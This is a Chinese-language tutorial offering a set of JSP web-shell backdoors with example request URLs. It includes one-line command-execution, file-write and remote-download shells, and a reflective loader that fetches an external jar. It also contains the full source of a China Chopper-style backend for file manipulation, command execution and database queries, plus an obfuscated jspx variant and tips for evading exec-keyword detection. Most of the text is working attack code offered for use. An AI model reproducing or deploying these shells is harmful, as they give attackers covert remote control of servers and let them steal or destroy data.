jsp小后门

一：执行系统命令:

无回显执行系统命令：

1	<%Runtime.getRuntime().exec(request.getParameter("i"));%>

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显，用来反弹个shell很方便。 有回显带密码验证的:

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<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(" <pre>");         while((a=in.read(b))!=-1){             out.println(new String(b,0,a));         }         out.print("</pre> ");     } %>

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

二、把字符串编码后写入指定文件的：

1:

1	<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录：

1	<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2:

1	<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录:

1	<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 三：下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长...)

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<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>

请求：http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

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<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>

请求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四：反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个：

1	<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>

请求：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar&023=A 菜刀连接：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar，密码023. 解： 利用反射加载一个外部的jar到当前应用，反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包，所以要求服务器必须能访问到这个jar地址。 下载：Cat.jar Load代码：

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import java.io.IOException; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; /*  * To change this license header, choose License Headers in Project Properties.  * To change this template file, choose Tools | Templates  * and open the template in the editor.  */ /**  *  * @author yz  */ public class Load {     public static String load(Map<string,string[]> map){         try {             Map<string,string> request = new HashMap<string,string>();             for (Entry<string, string[]=""> entrySet : map.entrySet()) {                 String key = entrySet.getKey();                 String value = entrySet.getValue()[0];                 request.put(key, value);             }             return new Chopper().doPost(request);         } catch (IOException ex) {             return ex.toString();         }     } }</string,></string,string></string,string></string,string[]>

Chopper代码：

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import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLClassLoader; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.ResultSetMetaData; import java.sql.Statement; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Map; public class Chopper{     public static String getPassword() throws IOException {         return "023";     }     String cs = "UTF-8";     String encoding(String s) throws Exception {         return new String(s.getBytes("ISO-8859-1"), cs);     }     Connection getConnection(String s) throws Exception {         String[] x = s.trim().split(" ");         try {             Class.forName(x[0].trim());         } catch (ClassNotFoundException e) {             boolean classNotFound = true;             BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt")));             String str = "";             while ((str = br.readLine()) != null) {                 String[] arr = str.split("=");                 if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) {                     try {                         URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();                         Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);                         m.setAccessible(true);                         m.invoke(ucl, new Object[]{new URL(arr[1])});                         Class.forName(arr[0].trim());                         classNotFound = false;                         break;                     } catch (ClassNotFoundException ex) {                         throw ex;                     }                 }             }             if (classNotFound) {                 throw e;             }         }         if (x[1].contains("jdbc:oracle")) {             return DriverManager.getConnection(x[1].trim() + ":" + x[4],                     x[2].equalsIgnoreCase("[/null]") ? "" : x[2],                     x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);         } else {             Connection c = DriverManager.getConnection(x[1].trim(),                     x[2].equalsIgnoreCase("[/null]") ? "" : x[2],                     x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);             if (x.length > 4) {                 c.setCatalog(x[4]);             }             return c;         }     }     void listRoots(ByteArrayOutputStream out) throws Exception {         File r[] = File.listRoots();         for (File f : r) {             out.write((f.getName()).getBytes(cs));         }     }     void dir(String s, ByteArrayOutputStream out) throws Exception {         File l[] = new File(s).listFiles();         for (File f : l) {             String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified()));             String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : "");             out.write((f.getName() + (f.isDirectory() ? "/" : "") + " " + mt + " " + f.length() + " " + rw + " ").getBytes(cs));         }     }     void deleteFiles(File f) throws Exception {         if (f.isDirectory()) {             File x[] = f.listFiles();             for (File fs : x) {                 deleteFiles(fs);             }         }         f.delete();     }     byte[] readFile(String s) throws Exception {         int n;         byte[] b = new byte[1024];         BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s));         ByteArrayOutputStream bos = new ByteArrayOutputStream();         while ((n = bis.read(b)) != -1) {             bos.write(b, 0, n);         }         bis.close();         return bos.toByteArray();     }     void upload(String s, String d) throws Exception {         String h = "0123456789ABCDEF";         File f = new File(s);         f.createNewFile();         FileOutputStream os = new FileOutputStream(f);         for (int i = 0; i < d.length(); i += 2) { os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1)))); } os.close(); } void filesMove(File sf, File df) throws Exception { if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (File z1 : z) { filesMove(new File(sf, z1.getName()), new File(df, z1.getName())); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } is.close(); os.close(); } } void fileMove(File s, File d) throws Exception { s.renameTo(d); } void mkdir(File s) throws Exception { s.mkdir(); } void setLastModified(File s, String t) throws Exception { s.setLastModified(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(t).getTime()); } void downloadRemoteFile(String s, String d) throws Exception { int n = 0; FileOutputStream os = new FileOutputStream(d); HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection(); InputStream is = h.getInputStream(); byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } os.close(); is.close(); h.disconnect(); } void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception { int i = -1; byte[] b = new byte[1024]; while ((i = is.read(b)) != -1) { out.write(b, 0, i); } } void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); ResultSet r = s.contains("jdbc:oracle") ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs(); while (r.next()) { out.write((r.getObject(1) + " ").getBytes(cs)); } r.close(); c.close(); } void getTableName(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); String[] x = s.trim().split(" "); ResultSet r = c.getMetaData().getTables(null, s.contains("jdbc:oracle") ? x.length > 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"});         while (r.next()) {             out.write((r.getObject("TABLE_NAME") + " ").getBytes(cs));         }         r.close();         c.close();     }     void getTableColumn(String s, ByteArrayOutputStream out) throws Exception {         String[] x = s.trim().split(" ");         Connection c = getConnection(s);         ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery();         ResultSetMetaData d = r.getMetaData();         for (int i = 1; i <= d.getColumnCount(); i++) { out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ") ").getBytes(cs)); } r.close(); c.close(); } void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception { Connection c = getConnection(s); Statement m = c.createStatement(1005, 1008); BufferedWriter bw = null; try { boolean f = q.contains("--f:"); ResultSet r = m.executeQuery(f ? q.substring(0, q.indexOf("--f:")) : q); ResultSetMetaData d = r.getMetaData(); int n = d.getColumnCount(); for (int i = 1; i <= n; i++) { out.write((d.getColumnName(i) + " | ").getBytes(cs)); } out.write((" ").getBytes(cs)); if (f) { File file = new File(p); if (!q.contains("-to:")) { file.mkdir(); } bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.contains("-to:") ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs)); } while (r.next()) { for (int i = 1; i <= n; i++) { if (f) { bw.write(r.getObject(i) + "" + " "); bw.flush(); } else { out.write((r.getObject(i) + "" + " | ").getBytes(cs)); } } if (bw != null) { bw.newLine(); } out.write((" ").getBytes(cs)); } r.close(); if (bw != null) { bw.close(); } } catch (Exception e) { out.write(("Result | ").getBytes(cs)); try { m.executeUpdate(q); out.write(("Execute Successfully! | ").getBytes(cs)); } catch (Exception ee) { out.write((ee.toString() + " | ").getBytes(cs)); } } m.close(); c.close(); } public String doPost(Map<string,string>request) throws IOException {         cs = request.get("z0") != null ? request.get("z0") + "" : cs;         ByteArrayOutputStream out = new ByteArrayOutputStream();         try {             char z = (char) request.get(getPassword()).getBytes()[0];             String z1 = encoding(request.get("z1") + "");             String z2 = encoding(request.get("z2") + "");             out.write("->|".getBytes(cs));             String s = new File("").getCanonicalPath();             byte[] returnTrue = "1".getBytes(cs);             switch (z) {                 case 'A':                     out.write((s + " ").getBytes(cs));                     if (!s.substring(0, 1).equals("/")) {                         listRoots(out);                     }                     break;                 case 'B':                     dir(z1, out);                     break;                 case 'C':                     String l = "";                     BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));                     while ((l = br.readLine()) != null) {                         out.write((l + " ").getBytes(cs));                     }                     br.close();                     break;                 case 'D':                     BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));                     bw.write(z2);                     bw.flush();                     bw.close();                     out.write(returnTrue);                     break;                 case 'E':                     deleteFiles(new File(z1));                     out.write("1".getBytes(cs));                     break;                 case 'F':                     out.write(readFile(z1));                 case 'G':                     upload(z1, z2);                     out.write(returnTrue);                     break;                 case 'H':                     filesMove(new File(z1), new File(z2));                     out.write(returnTrue);                     break;                 case 'I':                     fileMove(new File(z1), new File(z2));                     out.write(returnTrue);                     break;                 case 'J':                     mkdir(new File(z1));                     out.write(returnTrue);                     break;                 case 'K':                     setLastModified(new File(z1), z2);                     out.write(returnTrue);                     break;                 case 'L':                     downloadRemoteFile(z1, z2);                     out.write(returnTrue);                     break;                 case 'M':                     String[] c = {z1.substring(2), z1.substring(0, 2), z2};                     Process p = Runtime.getRuntime().exec(c);                     inputStreamToOutPutStream(p.getInputStream(), out);                     inputStreamToOutPutStream(p.getErrorStream(), out);                     break;                 case 'N':                     getCurrentDB(z1, out);                     break;                 case 'O':                     getTableName(z1, out);                     break;                 case 'P':                     getTableColumn(z1, out);                     break;                 case 'Q':                     executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\", "/") + "images/");                     break;             }         } catch (Exception e) {             out.write(("ERROR" + ":// " + e.toString()).getBytes(cs));         }         out.write(("|<-").getBytes(cs)); return new String(out.toByteArray()); } }</string,string>

map.txt:

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oracle.jdbc.driver.OracleDriver=http://javaweb.org/jdbc/classes12.jar com.mysql.jdbc.Driver=http://javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jar com.microsoft.jdbc.sqlserver.SQLServerDriver=http://javaweb.org/jdbc/sqlserver2000/msbase.jar,http://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,http://javaweb.org/jdbc/sqlserver2000/msutil.jar com.microsoft.sqlserver.jdbc.SQLServerDriver=http://javaweb.org/jdbc/sqljdbc4.jar com.ibm.db2.jcc.DB2Driver=http://javaweb.org/jdbc/db2java.jar com.informix.jdbc.IfxDriver=http://javaweb.org/jdbc/ifxjdbc.jar com.sybase.jdbc3.jdbc.SybDriver=http://javaweb.org/jdbc/jconn3d.jar org.postgresql.Driver=http://javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jar com.ncr.teradata.TeraDriver=http://javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jar com.hxtt.sql.access.AccessDriver=http://javaweb.org/jdbc/Access_JDBC30.jar org.apache.derby.jdbc.ClientDriver=http://javaweb.org/jdbc/derby.jar org.hsqldb.jdbcDriver=http://javaweb.org/jdbc/hsqldb.jar net.sourceforge.jtds.jdbc.Driver=http://javaweb.org/jdbc/jtds-1.2.5.jar mongodb=http://javaweb.org/jdbc/mongo-java-driver-2.9.3.jar

无任何命令执行关键字的cmd.zip

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<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">     <jsp:directive.page contentType="text/html" pageEncoding="UTF-8"/>     <jsp:scriptlet>         Class&lt;?&gt; api = String.class.getClass().forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));         Object obj2 = api.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(api.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{request.getParameter(&quot;str&quot;)});         java.lang.reflect.Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));         m.setAccessible(true);         java.util.Scanner s = new java.util.Scanner((java.io.InputStream) m.invoke(obj2, new Object[]{})).useDelimiter(&quot;\A&quot;);         out.write(&quot;&lt;pre&gt;&quot; + (s.hasNext() ? s.next() : &quot;&quot;) + &quot;&lt;/pre&gt;&quot;);     </jsp:scriptlet> </jsp:root>

绕过exec关键字很简单，如果是纯代码检测用这个无任何命令执行关键字的命令执行jspx(参数str): cmd.jspx.zip 如果是语言层拦截了exec，那么可以通过反射java.lang.UNIXProcess类实现执行任意的命令。示例代码如下:

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Class clazz = Class.forName("java.lang.ProcessImpl"); Constructor constructor = clazz.getDeclaredConstructors()[0]; constructor.setAccessible(true);   Process process = (Process) constructor.newInstance(         toCString(cmdarray[0]), argBlock, args.length,         null, envc[0], null, std_fds, false );

如果不会写，自己参考"UNIXProcess.java"的代码就可以了。

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